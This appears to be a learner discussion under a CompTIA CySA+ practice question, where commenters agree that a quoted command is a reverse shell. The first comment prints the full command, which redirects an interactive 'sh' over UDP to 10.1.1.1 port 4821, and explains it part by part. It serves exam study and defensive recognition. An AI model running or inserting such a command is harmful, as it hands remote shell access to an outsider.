CompTIA CySA+ Cybersecurity Analyst Practice Mode

Community Discussion

Written by other learners. Comments can disagree with the marked answer — check the official documentation when in doubt.

• Chose B28

  The command sh -i >& /dev/udp/10.1.1.1/4821 0>$l is attempting to establish a reverse shell. In this command: sh -i: Launches the Bourne shell (sh) in interactive mode (-i), allowing for interactive command execution. >&: Redirects both standard output and standard error. /dev/udp/10.1.1.1/4821: Specifies the destination for the redirected output, in this case, an IP address (10.1.1.1) and port (4821) using UDP. 0>$l: Redirects file descriptor 0 (standard input) to an undefined variable $l. This command is attempting to establish a shell connection back to the specified IP address and port, effectively allowing the attacker to gain remote access to the system.

• Chose B1

  The answer is B. Reverse shell

• Chose B6

  Correct This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.